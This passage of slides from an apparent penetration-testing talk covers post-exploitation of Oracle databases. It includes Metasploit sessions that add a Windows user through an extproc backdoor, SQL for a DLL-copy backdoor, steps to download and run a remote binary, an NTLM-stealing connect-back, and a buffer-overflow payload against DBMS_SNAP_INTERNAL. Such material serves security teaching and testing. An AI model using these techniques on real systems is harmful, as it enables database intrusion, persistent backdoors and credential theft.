  • 46. Post Exploitation FTP Upload Echo over FTP batch script via UTL_FILE, use DBMS_Scheduler to run the script and execute the malware. Demo Video at: http://vimeo.com/2704188  Ref: Red Database Security  Ref: http://www.red-database-security.com/wp/oracle_cheat.pdf
  • 47. Post Exploitation Perl Backdoor Oracle installs perl with every install. Use UTL_FILE to echo over perl shell line by line. Use one of the other tools to execute perl shell. Easy to use with *nix  Ref: Red Database Security
  • 48. Post Exploitation Extproc Backdoor via directory traversal.  Allows you to call libraries outside of oracle root. Nix and win32. CVE 2004-1364 9.0.1.1 – 9.0.1.5 9.2.0.1 – 9.2.0.5 10.1.0.2  Ref: http://0xdeadbeef.info/exploits/raptor_oraextproc.sql
  • 49. Post Exploitation Extproc Backdoor via directory traversal. msf auxiliary(extproc_backdoor_traversal) > set CMD “net user metasploit metasploit /add” CMD => net user metasploit metasploit /add msf auxiliary(extproc_backdoor_traversal) > run [*] Setting up extra required permissions [*] Done... [*] Set msvcrt.dll location to C:oracleora92bin../../../Windowssystem32msvcrt.dll [*] Done... [*] Setting extproc backdoor [*] Running command net user metasploit metasploit /add [*] Done… [*] Auxiliary module execution complete
  • 50. Post Exploitation Extproc Backdoor via directory traversal.
  • 51. Post Exploitation Extproc Backdoor via copy dll. “newer” versions will allow you to just copy over the dll into the %ORACLE_HOME%bin directory. CREATE OR REPLACE DIRECTORY copy_dll_from AS 'C:Windowssystem32'; CREATE OR REPLACE DIRECTORY copy_dll_to AS 'C:Oracleproduct10.1.0db_1BIN'; … CREATE OR REPLACE LIBRARY extproc_shell AS 'C:Oracleproduct10.1.0db_1binmsvcrt.dll'; / Works on newer Oracle 10g/11g.  Ref: Digital Security Research Group  Ref: http://milw0rm.org/exploits/7675
  • 52. Post Exploitation Win32upload Grant user JAVASYSPRIVS using sql.rb. Run win32upload.rb to download binary from a remote webserver Run win32exec.rb to execute the binary  Ref: Argeniss Advanced SQL Injection in Oracle Databases (Black Hat USA 2005)  Ref: http://www.argeniss.com/research/OracleSQLInjBHUSA05.zip
  • 53. Post Exploitation DBMS_Schedule Backdoor Run OS commands via DBMS_Scheduler. Module written by Alexandr Polyakov of Digital Security Research Group. Will be added to svn soon.
  • 54. Post Exploitation Oracle NTLM Stealer Oracle running as admin user not SYSTEM. Have Oracle connect back to MSF, grab halfLM challenge or perform SMB Relay attack. Module writers did a great write up on using the module and when it would be useful.  http://www.dsecrg.com/files/pub/pdf/Penetration_from_application_down_t o _OS_(Oracle%20database).pdf
  • 55. Breaking Other Oracle Apps Oracle Application Server CGI/Vulnerable URL scanner oas_cgi.rb msf auxiliary(oas_cgi) > run [*] /em/console/logon/logon [*] /em/dynamicImage/emSDK/chart/EmChartBean [*] /servlet/DMSDump [*]/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB- INF/config/soapConfig.xml [*] /servlet/Spy [*] Auxiliary module execution completed
  • 56. The Way Ahead Exploits For Vulnerable Packages. [*] ORA-03135: connection lost contact PROCEDURE DELETE_REFRESH_OPERATIONS Argument Name Type In/Out Default? ------------------------------ ----------------------- ------ -------- SNAP_OWNER VARCHAR2 IN SNAP_NAME VARCHAR2 IN sploit = rand_text_alpha_upper(576) + "BBBB" + "AAAA" + "xcc" * 500 sql = %Q|BEGIN SYS.DBMS_SNAP_INTERNAL.DELETE_REFRESH_OPERATIONS('MSF', '#{sploit}'); END; | 0:032> !exchain 074fc408: 41414141 Invalid exception stack at 42424242
  • 57. DEMO
  • 59. THANKS! HDM, Richard Evans, JMG, !LSO, Sh2kerr, Rory McCune